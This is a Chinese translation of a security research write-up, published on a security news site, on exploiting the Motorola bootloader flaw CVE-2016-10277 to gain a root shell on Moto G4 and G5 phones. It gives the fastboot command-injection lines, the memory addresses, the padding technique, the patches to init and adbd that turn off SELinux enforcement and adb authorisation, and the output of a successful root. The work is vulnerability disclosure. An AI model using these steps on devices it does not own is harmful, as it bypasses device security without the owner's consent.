回归最本质的信息安全

攻击场景还原:本地ROOT Moto G4 & G5设备(附利用代码)

2017年6月16日发布

34,598
4
10

导语:摩托罗拉Android Bootloader(ABOOT)的版本漏洞允许内核命令行注入。

在之前的文章中,我们曾提到CVE-2016-10277可能会影响其他摩托罗拉设备。而在Twitter上收到一些相关的报告之后,我们购买了摩托罗拉的几台设备,并且更新到最新的可用版本以进行此次的测试。

Moto G4 athene XT1622,运行的系统:NPJS25.93-14.4,bootloader moto-msm8952-B1.05。
Moto G5 cedric XT1676,运行的系统:NPP25.137-33,bootloader moto-msm8937-B8.09。

前文回顾

1、摩托罗拉Android Bootloader(ABOOT)的版本漏洞允许内核命令行注入。

2、我们可以注入一个名为initrd的参数,这使我们能够迫使Linux内核从指定的物理地址来填充initramfs到rootfs。

3、我们可以为了把我们自己的恶意initramfs放置在一个已知的物理地址名为SCRATCH_ADDR(0x11000000适用于Nexus 6)而滥用ABOOT下载功能,。

4、利用此漏洞攻击者可以获得无限制的root shell。

在Moto G4&G5上验证CVE-2016-10277

验证设备确实存在该漏洞的是非常简单的,一个简单的fastboot oem config fsg-id "a androidboot.foo=bar"导致ro.boot.foo创建属性:

$ fastboot oem config fsg-id "a androidboot.foo=bar"
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a androidboot.foo=bar
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>
OKAY [  0.013s]
 
$ fastboot continue
$ adb shell
cedric:/ $ getprop ro.boot.foo
bar
cedric:/ $

这证明了这个参数已被注入到cedric内核命令行中。(有类似的结果athene)

接下来,我们验证了我们可以控制initrd参数,这允许我们强制Linux内核initramfs从指定的物理地址加载。我们运行了fastboot oem config fsg-id "a initrd=0x12345678,1234",并且期望内核崩溃。事实上,它确实崩溃了!

移植到Moto G4&G5

如上所述,在我们利用此漏洞之前,需要解决两个G4&G5具体要求:

1、查找SCRATCH_ADDR引导程序使用的值。
2、创建恶意initramfs档案。

查找SCRATCH_ADDR值

加载athene的和cedric的ABOOTs在IDA中很快显示出了SCRATCH_ADDR:

 
// athene
signed int target_get_scratch_address()
{
  return 0x90000000;
}
 
// cedric
signed int target_get_scratch_address()
{
  return 0xA0100000;
}

验证SCRATCH_ADDR值

在我们进入恶意initramfs创建之前,我们想验证这些SCRATCH_ADDR的值确实是正确的,否则很难确定潜在的问题。而事实也说明了我们的这一计划非常正确,我们将在下面看到结果。

为了验证地址,我们initramfs从摩托罗拉官方固件中的引导映像中提取原始存档。然后,我们利用这个漏洞加载官方initramfs,而不是从SCRATCH_ADDR。

$ fastboot oem config fsg-id "a initrd=0x90000000,1766036"
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0x90000000,1766036
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>
 
OKAY [  0.015s]
finished. total time: 0.015s
 
$ fastboot flash aleph initramfs.cpio.gz
target reported max download size of 536870912 bytes
sending 'aleph' (1725 KB)...
OKAY [  1.088s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.095s
 
$ fastboot continue

显然这不是正常加载,设备也因此进入了无限的引导循环,这让我们感到很困惑。

填充Payload

然后我们进行了大胆的猜测。我们已经意识到,当我们上传initramfs到SCRATCH_ADDR中,之前ABOOT跳跃到Linux内核中,cedric的以及athene的ABOOTs会把一些其他不相关的数据放到SCRATCH_ADDR中,破坏我们的initramfs(但不是全部)。

要想克服这个困难,可以在initramfs之前进行填充数据,并相应地进行initrd调整(到 SCRATCH_ADDR + sizeof(PADDING))。因此,如果我们的假设是真实的,我们将在Linux内核执行之前具有以下内存布局:

 
.--------------------------------.----------------------.
| Physical Address               | Data                 |
|--------------------------------|----------------------|
| SCRATCH_ADDR                   | Corrupted PADDING    |
| SCRATCH_ADDR + sizeof(PADDING) | Controlled initramfs |
`--------------------------------'----------------------'

使用这种技术,通过32MB的padding(0x20000000)都解决了我们的引导循环。

为Moto G4&G5创建initramfs

在Nexus 6的环境下,为了创建一个initramfs来使adb给我们一个无限制的root shell,我们刚刚已经编译了一个AOSP userdebug图像,这样做是因为userdebug 图像拥有可以胜任的su的SELinux域,以及给定一些系统性能的adbd,不是setuid/ setgid到shell,也不放弃自己的能力,不要求授权。 

由于我们没有Moto G4和Moto G5的构建配置,我们决定采取最快的路径,修补官方initramfs档案:

1、通过Patching init,我们已经将SELinux置于permissive模式。结果代码类似于以下内容:

static void selinux_initialize(bool in_kernel_domain) {
[...]
 if (in_kernel_domain) {
[...]
     bool is_enforcing = selinux_is_enforcing();
     security_setenforce(0); // always permissive
[...]
}

2、修补adbd,使其保持为root并且不会降低其功能。(我们用NOPs 替换了相关的电话)。

3、修补adbd,不要求授权。(我们将auth_required全局设置为0)。

4、dm-verity在相关分区上禁用

5、删除了锁定的设备USB策略 init.mmi.usb.sh

6、其他

更新PoC上的可用initroot库。

做完所有这些:成功拿到root shell!

在Moto G4:

 
$ fastboot oem config fsg-id "a initrd=0x92000000,1774281"
$ fastboot flash aleph initroot-athene.cpio.gz
$ fastboot continue
$ adb shell
athene:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ # getenforce
Permissive
athene:/ #

在Moto G5上:

$ fastboot flash aleph initroot-cedric.cpio.gz
$ fastboot continue$ adb shell 
cedric:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
cedric:/ # getenforce
Permissive
cedric:/ #
本文翻译自:https://alephsecurity.com/2017/06/07/initroot-moto/,如若转载,请注明来源于嘶吼: http://www.4hou.com/reverse/5432.html

点赞 10
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

Change

Change

嘶吼编辑

发私信

发表评论

    color-X
    美少女 2017-06-16 18:04

    现在还有人用摩托罗拉?怎么不用努比亚呢!

    小黄人
    小黄人 2017-06-16 18:03

    好在我的摩托罗拉已经扔了

    longye
    longye 2017-06-16 17:54

    有人做稳定利用工具没。。。